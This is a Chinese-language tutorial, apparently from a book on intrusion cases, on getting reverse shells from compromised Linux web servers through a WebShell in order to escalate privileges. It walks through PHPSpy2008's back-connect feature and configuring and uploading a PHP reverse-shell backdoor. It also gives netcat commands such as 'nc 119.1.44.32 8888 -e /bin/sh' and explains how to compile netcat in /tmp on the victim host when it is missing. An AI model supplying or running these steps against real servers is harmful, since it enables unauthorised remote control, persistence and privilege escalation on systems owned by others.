Linux下通过WebShell反弹Shell的技巧

安全 黑客攻防
Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

使用PHP WebShell木马反弹Shell

一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。

在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:

  1. nc -vv -l -p 8080 

然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在"Your IP"中显示本机IP,在"Your Port"中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用Perl反弹(图1)。

图1

图1

设置完毕后,点击"Start"按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图2)。

图1

图2

除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:

  1. $yourip = "111.123.96.28";  
  2.  
  3. $yourport = '8888'

图3

图3

修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图3)。修改后保存文件,将其通过WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命令:

  1. nc -vv -l -p 8888 

使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。#p#

使用NC反弹Shell

在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。

在Windows下反弹CmdShell时,首先要在本机运行"nc -vv -l -p 端口号"监听端口,然后在WebShell中执行"nc -e cmd.exe 监听主机IP地址  端口",就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。

--在本机监听端口后,在WebShell运行nc反弹时,需要发送的是"/bin/sh",而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:

  1. nc 119.1.44.32 8888 -e /bin/sh 

即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。#p#

远程主机无NC工具时的解决办法

在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。

如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。

另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图4)。

图4

图4

例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。

将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:

  1. cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz 

图5

图5

执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图5)。然后再执行命令:

  1. /tmp/netcat-0.7.1/configure 

配置完毕后,再执行如下命令进行编译:

  1. cd /tmp/netcat-0.7.1;make 

由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了(图6)。#p#

图6 

图6

 

编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行"nc -vv -l -p 8080"命令监听8080号端口后,在WebShell中执行如下命令(图7):

  1. cd /tmp/netcat-0.7.1;nc 119.1.58.126 8080 -e /bin/sh 

图7

图7

即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句(图8)。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。

图8

图8

【编辑推荐】

  1. 加固IIS让Webshell的简单概述
  2. 通过重建方法获取webshell
  3. 十项Linux安全管理技巧经验汇总
  4. Linux网络防火墙的实现并不难!
责任编辑:佟健 来源: 《大中型网络入侵要案》
相关推荐

2009-07-19 10:48:53

LinuxWebShell反弹CmdLine She

2009-08-07 10:18:13

Linux反弹CmdLine S技巧

2018-06-18 10:33:39

Linux内网技巧

2017-09-04 16:20:38

Linuxshell命令

2015-03-06 15:43:39

2009-10-23 08:41:14

Linux系统操作系统Grub

2010-09-26 16:46:05

2013-12-02 09:49:59

2014-07-31 11:24:21

Linuxshell命令

2015-03-09 10:22:23

2009-12-03 10:07:55

Linuxman命令使用技巧

2009-06-19 13:32:40

Java开启OpenGL

2020-09-14 08:23:56

日期时间Shell

2014-07-31 12:07:15

Linux

2019-08-14 08:03:49

LinuxShell脚本web服务

2021-12-16 10:53:23

shell命令脚本

2013-06-28 10:12:20

Linux软Raid自动重组

2009-06-17 09:01:29

Linuxshell特殊字符

2019-12-04 12:28:24

TOP命令Linux

2015-09-09 13:29:17

FISHShellLinux
点赞
收藏

51CTO技术栈公众号